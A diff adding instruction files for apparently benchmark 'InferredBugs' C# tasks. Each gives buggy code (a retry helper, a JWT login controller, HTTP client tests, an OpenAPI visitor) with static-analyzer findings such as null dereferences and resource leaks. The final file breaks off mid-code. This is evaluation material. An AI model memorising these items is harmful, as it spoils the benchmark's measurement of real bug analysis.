diff --git a/inferredbugs-0045/instruction.md b/inferredbugs-0045/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..71ebeb8cdda0226a22d7c6ffd24224387c63aa41
--- /dev/null
+++ b/inferredbugs-0045/instruction.md
@@ -0,0 +1,473 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ecommon
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using ECommon.Extensions;
+using ECommon.Logging;
+using ECommon.Utilities;
+
+namespace ECommon.IO
+{
+    /// <summary>An IO action helper class.
+    /// </summary>
+    public class IOHelper
+    {
+        private readonly ILogger _logger;
+
+        public IOHelper(ILoggerFactory loggerFactory)
+        {
+            _logger = loggerFactory.Create(GetType().FullName);
+        }
+
+        public void TryIOAction(string actionName, Func<string> getContextInfo, Action action, int maxRetryTimes, bool continueRetryWhenRetryFailed = false, int retryInterval = 1000)
+        {
+            Ensure.NotNull(actionName, "actionName");
+            Ensure.NotNull(getContextInfo, "getContextInfo");
+            Ensure.NotNull(action, "action");
+            TryIOActionRecursivelyInternal(actionName, getContextInfo, (x, y, z) => action(), 0, maxRetryTimes, continueRetryWhenRetryFailed, retryInterval);
+        }
+        public T TryIOFunc<T>(string funcName, Func<string> getContextInfo, Func<T> func, int maxRetryTimes, bool continueRetryWhenRetryFailed = false, int retryInterval = 1000)
+        {
+            Ensure.NotNull(funcName, "funcName");
+            Ensure.NotNull(getContextInfo, "getContextInfo");
+            Ensure.NotNull(func, "func");
+            return TryIOFuncRecursivelyInternal(funcName, getContextInfo, (x, y, z) => func(), 0, maxRetryTimes, continueRetryWhenRetryFailed, retryInterval);
+        }
+
+        #region TryAsyncActionRecursively
+
+        public void TryAsyncActionRecursively<TAsyncResult>(
+            string asyncActionName,
+            Func<Task<TAsyncResult>> asyncAction,
+            Action<int> mainAction,
+            Action<TAsyncResult> successAction,
+            Func<string> getContextInfoFunc,
+            Action<string> failedAction,
+            int retryTimes,
+            bool retryWhenFailed = false,
+            int maxRetryTimes = 3,
+            int retryInterval = 1000) where TAsyncResult : AsyncTaskResult
+        {
+            try
+            {
+                asyncAction().ContinueWith(TaskContinueAction, new TaskExecutionContext<TAsyncResult>
+                {
+                    AsyncActionName = asyncActionName,
+                    MainAction = mainAction,
+                    SuccessAction = successAction,
+                    GetContextInfoFunc = getContextInfoFunc,
+                    FailedAction = failedAction,
+                    RetryTimes = retryTimes,
+                    RetryWhenFailed = retryWhenFailed,
+                    MaxRetryTimes = maxRetryTimes,
+                    RetryInterval = retryInterval
+                });
+            }
+            catch (IOException ex)
+            {
+                _logger.Error(string.Format("IOException raised when executing async task '{0}', contextInfo:{1}, current retryTimes:{2}, try to execute the async task again.", asyncActionName, GetContextInfo(getContextInfoFunc), retryTimes), ex);
+                ExecuteRetryAction(asyncActionName, getContextInfoFunc, mainAction, retryTimes, maxRetryTimes, retryInterval);
+            }
+            catch (Exception ex)
+            {
+                _logger.Error(string.Format("Unknown exception raised when executing async task '{0}', contextInfo:{1}, current retryTimes:{2}", asyncActionName, GetContextInfo(getContextInfoFunc), retryTimes), ex);
+                if (retryWhenFailed)
+                {
+                    ExecuteRetryAction(asyncActionName, getContextInfoFunc, mainAction, retryTimes, maxRetryTimes, retryInterval);
+                }
+                else
+                {
+                    ExecuteFailedAction(asyncActionName, getContextInfoFunc, failedAction, ex.Message);
+                }
+            }
+        }
+
+        private string GetContextInfo(Func<string> func)
+        {
+            try
+            {
+                return func();
+            }
+            catch (Exception ex)
+            {
+                _logger.Error("Failed to execute the getContextInfoFunc.", ex);
+                return null;
+            }
+        }
+        private void ExecuteFailedAction(string asyncActionName, Func<string> getContextInfoFunc, Action<string> failedAction, string errorMessage)
+        {
+            try
+            {
+                if (failedAction != null)
+                {
+                    failedAction(errorMessage);
+                }
+            }
+            catch (Exception ex)
+            {
+                _logger.Error(string.Format("Failed to execute the failedAction of asyncAction:{0}, contextInfo:{1}", asyncActionName, GetContextInfo(getContextInfoFunc)), ex);
+            }
+        }
+        private void ExecuteRetryAction(string asyncActionName, Func<string> getContextInfoFunc, Action<int> mainAction, int currentRetryTimes, int maxRetryTimes, int retryInterval)
+        {
+            try
+            {
+                if (currentRetryTimes >= maxRetryTimes)
+                {
+                    Task.Factory.StartDelayedTask(retryInterval, () => mainAction(currentRetryTimes + 1));
+                }
+                else
+                {
+                    mainAction(currentRetryTimes + 1);
+                }
+            }
+            catch (Exception ex)
+            {
+                _logger.Error(string.Format("Failed to execute the retryAction, asyncActionName:{0}, contextInfo:{1}", asyncActionName, GetContextInfo(getContextInfoFunc)), ex);
+            }
+        }
+        private void ProcessTaskException(string asyncActionName, Func<string> getContextInfoFunc, Action<int> mainAction, Action<string> failedAction, Exception exception, int currentRetryTimes, int maxRetryTimes, int retryInterval, bool retryWhenFailed)
+        {
+            if (exception is IOException)
+            {
+                _logger.Error(string.Format("Async task '{0}' has io exception, contextInfo:{1}, current retryTimes:{2}, try to run the async task again.", asyncActionName, GetContextInfo(getContextInfoFunc), currentRetryTimes), exception);
+                ExecuteRetryAction(asyncActionName, getContextInfoFunc, mainAction, currentRetryTimes, maxRetryTimes, retryInterval);
+            }
+            else
+            {
+                _logger.Error(string.Format("Async task '{0}' has unknown exception, contextInfo:{1}, current retryTimes:{2}", asyncActionName, GetContextInfo(getContextInfoFunc), currentRetryTimes), exception);
+                if (retryWhenFailed)
+                {
+                    ExecuteRetryAction(asyncActionName, getContextInfoFunc, mainAction, currentRetryTimes, maxRetryTimes, retryInterval);
+                }
+                else
+                {
+                    ExecuteFailedAction(asyncActionName, getContextInfoFunc, failedAction, exception.Message);
+                }
+            }
+        }
+        private void TaskContinueAction<TAsyncResult>(Task<TAsyncResult> task, object obj) where TAsyncResult : AsyncTaskResult
+        {
+            var context = obj as TaskExecutionContext<TAsyncResult>;
+            try
+            {
+                if (task.Exception != null)
+                {
+                    ProcessTaskException(
+                        context.AsyncActionName,
+                        context.GetContextInfoFunc,
+                        context.MainAction,
+                        context.FailedAction,
+                        task.Exception,
+                        context.RetryTimes,
+                        context.MaxRetryTimes,
+                        context.RetryInterval,
+                        context.RetryWhenFailed);
+                    return;
+                }
+                if (task.IsCanceled)
+                {
+                    _logger.ErrorFormat("Async task '{0}' was cancelled, contextInfo:{1}, current retryTimes:{2}.",
+                        context.AsyncActionName,
+                        GetContextInfo(context.GetContextInfoFunc),
+                        context.RetryTimes);
+                    ExecuteFailedAction(
+                        context.AsyncActionName,
+                        context.GetContextInfoFunc,
+                        context.FailedAction,
+                        string.Format("Async task '{0}' was cancelled.", context.AsyncActionName));
+                    return;
+                }
+                var result = task.Result;
+                if (result == null)
+                {
+                    _logger.ErrorFormat("Async task '{0}' result is null, contextInfo:{1}, current retryTimes:{2}",
+                        context.AsyncActionName,
+                        GetContextInfo(context.GetContextInfoFunc),
+                        context.RetryTimes);
+                    if (context.RetryWhenFailed)
+                    {
+                        ExecuteRetryAction(
+                            context.AsyncActionName,
+                            context.GetContextInfoFunc,
+                            context.MainAction,
+                            context.RetryTimes,
+                            context.MaxRetryTimes,
+                            context.RetryInterval);
+                    }
+                    else
+                    {
+                        ExecuteFailedAction(
+                            context.AsyncActionName,
+                            context.GetContextInfoFunc,
+                            context.FailedAction,
+                            string.Format("Async task '{0}' result is null.", context.AsyncActionName));
+                    }
+                    return;
+                }
+                if (result.Status == AsyncTaskStatus.Success)
+                {
+                    if (context.SuccessAction != null)
+                    {
+                        context.SuccessAction(result);
+                    }
+                }
+                else if (result.Status == AsyncTaskStatus.IOException)
+                {
+                    _logger.ErrorFormat("Async task '{0}' result status is io exception, contextInfo:{1}, current retryTimes:{2}, errorMsg:{3}, try to run the async task again.",
+                        context.AsyncActionName,
+                        GetContextInfo(context.GetContextInfoFunc),
+                        context.RetryTimes,
+                        result.ErrorMessage);
+                    ExecuteRetryAction(
+                        context.AsyncActionName,
+                        context.GetContextInfoFunc,
+                        context.MainAction,
+                        context.RetryTimes,
+                        context.MaxRetryTimes,
+                        context.RetryInterval);
+                }
+                else if (result.Status == AsyncTaskStatus.Failed)
+                {
+                    _logger.ErrorFormat("Async task '{0}' failed, contextInfo:{1}, current retryTimes:{2}, errorMsg:{3}",
+                        context.AsyncActionName,
+                        GetContextInfo(context.GetContextInfoFunc),
+                        context.RetryTimes,
+                        result.ErrorMessage);
+                    if (context.RetryWhenFailed)
+                    {
+                        ExecuteRetryAction(
+                            context.AsyncActionName,
+                            context.GetContextInfoFunc,
+                            context.MainAction,
+                            context.RetryTimes,
+                            context.MaxRetryTimes,
+                            context.RetryInterval);
+                    }
+                    else
+                    {
+                        ExecuteFailedAction(
+                            context.AsyncActionName,
+                            context.GetContextInfoFunc,
+                            context.FailedAction,
+                            result.ErrorMessage);
+                    }
+                }
+            }
+            catch (Exception ex)
+            {
+                _logger.Error(string.Format("Failed to execute the taskContinueAction, asyncActionName:{0}, contextInfo:{1}",
+                    context.AsyncActionName,
+                    GetContextInfo(context.GetContextInfoFunc)), ex);
+            }
+        }
+
+        class TaskExecutionContext<TAsyncResult>
+        {
+            public string AsyncActionName;
+            public Action<int> MainAction;
+            public Action<TAsyncResult> SuccessAction;
+            public Func<string> GetContextInfoFunc;
+            public Action<string> FailedAction;
+            public int RetryTimes;
+            public bool RetryWhenFailed;
+            public int MaxRetryTimes;
+            public int RetryInterval;
+        }
+
+        #endregion
+
+        public void TryIOAction(Action action, string actionName)
+        {
+            Ensure.NotNull(action, "action");
+            Ensure.NotNull(actionName, "actionName");
+            try
+            {
+                action();
+            }
+            catch (IOException)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                throw new IOException(string.Format("{0} failed.", actionName), ex);
+            }
+        }
+        public Task TryIOActionAsync(Func<Task> action, string actionName)
+        {
+            Ensure.NotNull(action, "action");
+            Ensure.NotNull(actionName, "actionName");
+            try
+            {
+                return action();
+            }
+            catch (IOException)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                throw new IOException(string.Format("{0} failed.", actionName), ex);
+            }
+        }
+        public T TryIOFunc<T>(Func<T> func, string funcName)
+        {
+            Ensure.NotNull(func, "func");
+            Ensure.NotNull(funcName, "funcName");
+            try
+            {
+                return func();
+            }
+            catch (IOException)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                throw new IOException(string.Format("{0} failed.", funcName), ex);
+            }
+        }
+        public Task<T> TryIOFuncAsync<T>(Func<Task<T>> func, string funcName)
+        {
+            Ensure.NotNull(func, "func");
+            Ensure.NotNull(funcName, "funcName");
+            try
+            {
+                return func();
+            }
+            catch (IOException)
+            {
+                throw;
+            }
+            catch (Exception ex)
+            {
+                throw new IOException(string.Format("{0} failed.", funcName), ex);
+            }
+        }
+
+        private void TryIOActionRecursivelyInternal(string actionName, Func<string> getContextInfo, Action<string, Func<string>, int> action, int retryTimes, int maxRetryTimes, bool continueRetryWhenRetryFailed = false, int retryInterval = 1000)
+        {
+            try
+            {
+                action(actionName, getContextInfo, retryTimes);
+            }
+            catch (IOException ex)
+            {
+                var errorMessage = string.Format("IOException raised when executing action '{0}', currentRetryTimes:{1}, maxRetryTimes:{2}, contextInfo:{3}", actionName, retryTimes, maxRetryTimes, getContextInfo());
+                _logger.Error(errorMessage, ex);
+                if (retryTimes >= maxRetryTimes)
+                {
+                    if (!continueRetryWhenRetryFailed)
+                    {
+                        throw;
+                    }
+                    else
+                    {
+                        Thread.Sleep(retryInterval);
+                    }
+                }
+                retryTimes++;
+                TryIOActionRecursivelyInternal(actionName, getContextInfo, action, retryTimes, maxRetryTimes, continueRetryWhenRetryFailed, retryInterval);
+            }
+            catch (Exception ex)
+            {
+                var errorMessage = string.Format("Unknown exception raised when executing action '{0}', currentRetryTimes:{1}, maxRetryTimes:{2}, contextInfo:{3}", actionName, retryTimes, maxRetryTimes, getContextInfo());
+                _logger.Error(errorMessage, ex);
+                throw;
+            }
+        }
+        private T TryIOFuncRecursivelyInternal<T>(string funcName, Func<string> getContextInfo, Func<string, Func<string>, long, T> func, int retryTimes, int maxRetryTimes, bool continueRetryWhenRetryFailed = false, int retryInterval = 1000)
+        {
+            try
+            {
+                return func(funcName, getContextInfo, retryTimes);
+            }
+            catch (IOException ex)
+            {
+                var errorMessage = string.Format("IOException raised when executing func '{0}', currentRetryTimes:{1}, maxRetryTimes:{2}, contextInfo:{3}", funcName, retryTimes, maxRetryTimes, getContextInfo());
+                _logger.Error(errorMessage, ex);
+                if (retryTimes >= maxRetryTimes)
+                {
+                    if (!continueRetryWhenRetryFailed)
+                    {
+                        throw;
+                    }
+                    else
+                    {
+                        Thread.Sleep(retryInterval);
+                    }
+                }
+                retryTimes++;
+                return TryIOFuncRecursivelyInternal(funcName, getContextInfo, func, retryTimes, maxRetryTimes, continueRetryWhenRetryFailed, retryInterval);
+            }
+            catch (Exception ex)
+            {
+                var errorMessage = string.Format("Unknown exception raised when executing func '{0}', currentRetryTimes:{1}, maxRetryTimes:{2}, contextInfo:{3}", funcName, retryTimes, maxRetryTimes, getContextInfo());
+                _logger.Error(errorMessage, ex);
+                throw;
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `context` last assigned on line 150 could be null and is dereferenced at line 169, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IOHelper.TaskContinueAction(Task`1<!0>,Object)
+
+### File:
+src/ECommon/IO/IOHelper.cs
+
+### Key:
+IOHelper.cs|TaskContinueAction|NULL_DEREFERENCE
+
+### Node Key:
+52045082f0df3a0b2de3a487af64e105
+
+### Hash:
+d3b9f93f116fac7f98c718e9ed7e1e65
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0100/instruction.md b/inferredbugs-0100/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..84dcab8b570536591661a571b8ea4a5f21fcb99f
--- /dev/null
+++ b/inferredbugs-0100/instruction.md
@@ -0,0 +1,130 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Aspnetcore
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.AspNetCore.Authorization;
+using Microsoft.AspNetCore.Mvc;
+using Microsoft.Extensions.Configuration;
+using Microsoft.IdentityModel.Tokens;
+using System;
+using System.IdentityModel.Tokens.Jwt;
+using System.Security.Claims;
+using System.Text;
+
+namespace JWTAuthentication.Controllers
+{
+    [Route("api/[controller]")]
+    [ApiController]
+    public class LoginController : Controller
+    {
+        private IConfiguration _config;
+
+        public LoginController(IConfiguration config)
+        {
+            _config = config;
+        }
+        [AllowAnonymous]
+        [HttpPost]
+        public IActionResult Login([FromBody]UserModel login)
+        {
+            IActionResult response = Unauthorized();
+            var user = AuthenticateUser(login);
+
+            if (user != null)
+            {
+                var tokenString = GenerateJSONWebToken(user);
+                response = Ok(new { token = tokenString });
+            }
+
+            return response;
+        }
+
+        private string GenerateJSONWebToken(UserModel userInfo)
+        {
+            var securityKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(_config["Jwt:Key"]));
+            var credentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);
+
+            var claims = new[] {
+                new Claim(JwtRegisteredClaimNames.Sub, userInfo.Username),
+                new Claim(JwtRegisteredClaimNames.Email, userInfo.EmailAddress),
+                new Claim("DateOfJoing", userInfo.DateOfJoing.ToString("yyyy-MM-dd")),
+                new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString())
+            };
+
+            var token = new JwtSecurityToken(_config["Jwt:Issuer"],
+                _config["Jwt:Issuer"],
+                claims,
+                expires: DateTime.Now.AddMinutes(120),
+                signingCredentials: credentials);
+
+            return new JwtSecurityTokenHandler().WriteToken(token);
+        }
+
+        private UserModel AuthenticateUser(UserModel login)
+        {
+            UserModel user = null;
+
+            //Validate the User Credentials
+            //Demo Purpose, I have Passed HardCoded User Information
+            if (user.Username == "Jignesh")
+            {
+                user = new UserModel { Username = "Jignesh Trivedi", EmailAddress = "test.btest@gmail.com", DateOfJoing = new DateTime(2010, 08, 02) };
+            }
+            return user;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`user` could be null (last assigned on line 61) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+UserModel LoginController.AuthenticateUser(UserModel)
+
+### File:
+JWTAuthentication/JWTAuthentication/Controllers/LoginController.cs
+
+### Key:
+LoginController.cs|AuthenticateUser|NULLPTR_DEREFERENCE
+
+### Hash:
+1c7006d0e8f65d73bebefe2cbaebf3b0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0101/instruction.md b/inferredbugs-0101/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d85db6e033b7b6889bb2d5e4211c2853531eda63
--- /dev/null
+++ b/inferredbugs-0101/instruction.md
@@ -0,0 +1,206 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Mandrill-dotnet
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Mandrill.Requests;
+using Mandrill.Utilities;
+using System;
+using System.IO;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Xunit;
+
+namespace Mandrill.Tests.UnitTests
+{
+  public class PostTests : IDisposable
+  {
+    public PostTests()
+    {
+      var responseMessage = new HttpResponseMessage();
+      var messageHandler = new FakeHttpMessageHandler(responseMessage);
+      httpClient = new HttpClient(messageHandler);
+    }
+    public void Dispose() {
+      httpClient?.Dispose();
+    }
+
+    private void RespondWith(MandrillApi api, HttpStatusCode statusCode, string content)
+    {
+      var responseMessage = new HttpResponseMessage(statusCode);
+      responseMessage.Content = new FakeHttpContent(content);
+      var messageHandler = new FakeHttpMessageHandler(responseMessage);
+      api.SetHttpClient(new HttpClient(messageHandler));
+    }
+
+    private HttpClient httpClient;
+
+    private class SampleObject
+    {
+      public string Name { get; set; }
+      public int Id { get; set; }
+    }
+
+    private class SamplePayload : RequestBase
+    {
+    }
+
+    [Fact]
+    public async Task Should_Serialize_Response_When_Json_Content_Is_Recieved()
+    {
+      string responseString = @"{
+	      ""Name"": ""Shawn"",
+	      ""Id"": 1
+      }";
+      var api = new MandrillApi("");
+      RespondWith(api, HttpStatusCode.OK, responseString);
+
+      SampleObject response = await api.Post<SampleObject>("", new SamplePayload());
+
+      Assert.Equal("Shawn", response.Name);
+      Assert.Equal(1, response.Id);
+    }
+
+    [Fact]
+    public async Task Should_Throw_Mandrill_Exception_When_Server_Error()
+    {
+      string responseString = @"{
+	      ""code"": ""501"",
+	      ""message"": ""m1"",
+	      ""name"": ""n1"",
+	      ""status"": ""s1""
+      }";
+
+      var api = new MandrillApi("");
+      RespondWith(api, HttpStatusCode.InternalServerError, responseString);
+
+      var ex = await Assert.ThrowsAsync<MandrillException>(async () => await api.Post<object>("", new SamplePayload()));
+      Assert.Equal(501, ex.Error.Code);
+      Assert.Equal("m1", ex.Error.Message);
+      Assert.Equal("n1", ex.Error.Name);
+      Assert.Equal("s1", ex.Error.Status);
+    }
+
+    [Fact]
+    public async Task Should_Allow_Multiple_Requests_With_Single_HttpClient()
+    {
+        string responseString = @"{
+	    ""Name"": ""Shawn"",
+	    ""Id"": 1
+        }";
+        var api = new MandrillApi("");
+        RespondWith(api, HttpStatusCode.OK, responseString);
+        await api.Post<SampleObject>("", new SamplePayload());
+
+    }
+
+    [Fact]
+    public async Task Should_Throw_Mandrill_Exception_When_Serialization_Error()
+    {
+      string responseString = @"<html></html>";
+
+      var api = new MandrillApi("");
+      RespondWith(api, HttpStatusCode.OK, responseString);
+
+      var ex = await Assert.ThrowsAsync<MandrillSerializationException>(async () => await api.Post<object>("", new SamplePayload()));
+      var content = await ex.HttpResponseMessage.Content.ReadAsStringAsync().ConfigureAwait(false);
+      Assert.Equal(responseString, content);
+    }
+    public class FakeHttpMessageHandler : HttpMessageHandler
+    {
+      private HttpResponseMessage response;
+
+      public FakeHttpMessageHandler(HttpResponseMessage response)
+      {
+        this.response = response;
+      }
+
+      protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
+      {
+        var responseTask = new TaskCompletionSource<HttpResponseMessage>();
+        responseTask.SetResult(response);
+
+        return responseTask.Task;
+      }
+    }
+
+    public class FakeHttpContent : HttpContent
+    {
+      public string Content { get; set; }
+
+      public FakeHttpContent(string content)
+      {
+        Content = content;
+      }
+
+      protected async override Task SerializeToStreamAsync(Stream stream, TransportContext context)
+      {
+        byte[] byteArray = Encoding.ASCII.GetBytes(Content);
+        await stream.WriteAsync(byteArray, 0, Content.Length).ConfigureAwait(false);
+      }
+
+      protected override bool TryComputeLength(out long length)
+      {
+        length = Content.Length;
+        return true;
+      }
+    }
+
+  }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource messageHandler of type Mandrill.Tests.UnitTests.PostTests$FakeHttpMessageHandler, Leaked resource responseMessage of type System.Net.Http.HttpResponseMessage, Leaked resource (output of System.Net.Http.HttpClient::.ctor() at Line 31) of type System.Net.Http.HttpClient, Leaked resource (output of Mandrill.Tests.UnitTests.PostTests$FakeHttpContent::.ctor() at Line 29) of type Mandrill.Tests.UnitTests.PostTests$FakeHttpContent in method "Void PostTests.RespondWith(MandrillApi,HttpStatusCode,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PostTests.RespondWith(MandrillApi,HttpStatusCode,String)
+
+### File:
+tests/Mandrill.Tests/UnitTests/PostTests.cs
+
+### Key:
+PostTests.cs|RespondWith|DOTNET_RESOURCE_LEAK
+
+### Hash:
+8638c9dd7f324eb9ba414ba4d985981c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0106/instruction.md b/inferredbugs-0106/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..020b688f7c6c138f4e61523c5d74d84db6610ebd
--- /dev/null
+++ b/inferredbugs-0106/instruction.md
@@ -0,0 +1,422 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** azure-functions-openapi-extension
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Abstractions;
+using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Attributes;
+using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Extensions;
+
+using Microsoft.OpenApi.Any;
+using Microsoft.OpenApi.Models;
+
+using Newtonsoft.Json.Serialization;
+
+namespace Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Visitors
+{
+    /// <summary>
+    /// This represents the visitor entity for type. This MUST be inherited.
+    /// </summary>
+    public abstract class TypeVisitor : IVisitor
+    {
+        /// <summary>
+        /// Initializes a new instance of the <see cref="TypeVisitor"/> class.
+        /// </summary>
+        /// <param name="visitorCollection"><see cref="VisitorCollection"/> instance.</param>
+        protected TypeVisitor(VisitorCollection visitorCollection)
+        {
+            this.VisitorCollection = visitorCollection.ThrowIfNullOrDefault();
+        }
+
+        /// <summary>
+        /// Gets the <see cref="Type"/> object.
+        /// </summary>
+        protected Type Type { get; private set; }
+
+        /// <summary>
+        /// Gets the <see cref="VisitorCollection"/>.
+        /// </summary>
+        protected VisitorCollection VisitorCollection { get; }
+
+        /// <inheritdoc />
+        public virtual bool IsVisitable(Type type)
+        {
+            return false;
+        }
+
+        /// <inheritdoc />
+        public virtual void Visit(IAcceptor acceptor, KeyValuePair<string, Type> type, NamingStrategy namingStrategy, params Attribute[] attributes)
+        {
+            return;
+        }
+
+        /// <inheritdoc />
+        public virtual bool IsNavigatable(Type type)
+        {
+            return false;
+        }
+
+        /// <inheritdoc />
+        public virtual bool IsParameterVisitable(Type type)
+        {
+            return false;
+        }
+
+        /// <inheritdoc />
+        public virtual OpenApiSchema ParameterVisit(Type type, NamingStrategy namingStrategy)
+        {
+            return default;
+        }
+
+        /// <inheritdoc />
+        public virtual bool IsPayloadVisitable(Type type)
+        {
+            return false;
+        }
+
+        /// <inheritdoc />
+        public virtual OpenApiSchema PayloadVisit(Type type, NamingStrategy namingStrategy)
+        {
+            return default;
+        }
+
+        /// <summary>
+        /// Checks whether the type is visitable or not.
+        /// </summary>
+        /// <param name="type">Type to check.</param>
+        /// <param name="code"><see cref="TypeCode"/> value.</param>
+        /// <returns>Returns <c>True</c>, if the type is visitable; otherwise returns <c>False</c>.</returns>
+        protected bool IsVisitable(Type type, TypeCode code)
+        {
+            var @enum = Type.GetTypeCode(type);
+            var isVisitable = @enum == code;
+
+            if (isVisitable)
+            {
+                this.Type = type;
+            }
+
+            return isVisitable;
+        }
+
+        /// <summary>
+        /// Checks whether the type can be referenced or not.
+        /// </summary>
+        /// <param name="type">Type to check.</param>
+        /// <returns>Returns <c>True</c>, if the type can be referenced; otherwise returns <c>False</c>.</returns>
+        protected bool IsReferential(Type type)
+        {
+            var isReferential = type.IsReferentialType();
+
+            return isReferential;
+        }
+
+        /// <summary>
+        /// Visits and processes the acceptor.
+        /// </summary>
+        /// <param name="acceptor"><see cref="IAcceptor"/> instance.</param>
+        /// <param name="name">Property name.</param>
+        /// <param name="title">Type name.</param>
+        /// <param name="dataType">Data type.</param>
+        /// <param name="dataFormat">Data format.</param>
+        /// <param name="attributes">List of attribute instances.</param>
+        /// <returns>Returns the name as the schema key.</returns>
+        protected string Visit(IAcceptor acceptor, string name, string title, string dataType, string dataFormat, params Attribute[] attributes)
+        {
+            var instance = acceptor as OpenApiSchemaAcceptor;
+            if (instance.IsNullOrDefault())
+            {
+                return null;
+            }
+
+            if (instance.Schemas.ContainsKey(name))
+            {
+                return null;
+            }
+
+            var schema = new OpenApiSchema()
+            {
+                Title = title,
+                Type = dataType,
+                Format = dataFormat
+            };
+
+            // Adds the extra properties.
+            if (attributes.Any())
+            {
+                Attribute attr = attributes.OfType<OpenApiPropertyAttribute>().SingleOrDefault();
+                if (!attr.IsNullOrDefault())
+                {
+                    if (dataType != "object")
+                    {
+                        schema.Nullable = this.GetOpenApiPropertyNullable(attr as OpenApiPropertyAttribute);
+                        schema.Default = this.GetOpenApiPropertyDefault(attr as OpenApiPropertyAttribute);
+                    }
+                    schema.Description = this.GetOpenApiPropertyDescription(attr as OpenApiPropertyAttribute);
+                }
+
+                attr = attributes.OfType<OpenApiSchemaVisibilityAttribute>().SingleOrDefault();
+                if (!attr.IsNullOrDefault())
+                {
+                    var extension = new OpenApiString((attr as OpenApiSchemaVisibilityAttribute).Visibility.ToDisplayName());
+
+                    schema.Extensions.Add("x-ms-visibility", extension);
+                }
+            }
+
+            instance.Schemas.Add(name, schema);
+
+            return name;
+        }
+
+        /// <summary>
+        /// Visits and processes the <see cref="OpenApiSchema"/> for parameters.
+        /// </summary>
+        /// <param name="dataType">Data type.</param>
+        /// <param name="dataFormat">Data format.</param>
+        /// <returns>Returns <see cref="OpenApiSchema"/> instance.</returns>
+        protected OpenApiSchema ParameterVisit(string dataType, string dataFormat)
+        {
+            var schema = new OpenApiSchema()
+            {
+                Type = dataType,
+                Format = dataFormat
+            };
+
+            return schema;
+        }
+
+        /// <summary>
+        /// Visits and processes the <see cref="OpenApiSchema"/> for payloads.
+        /// </summary>
+        /// <param name="dataType">Data type.</param>
+        /// <param name="dataFormat">Data format.</param>
+        /// <returns>Returns <see cref="OpenApiSchema"/> instance.</returns>
+        protected OpenApiSchema PayloadVisit(string dataType, string dataFormat)
+        {
+            var schema = new OpenApiSchema()
+            {
+                Type = dataType,
+                Format = dataFormat
+            };
+
+            return schema;
+        }
+
+        /// <summary>
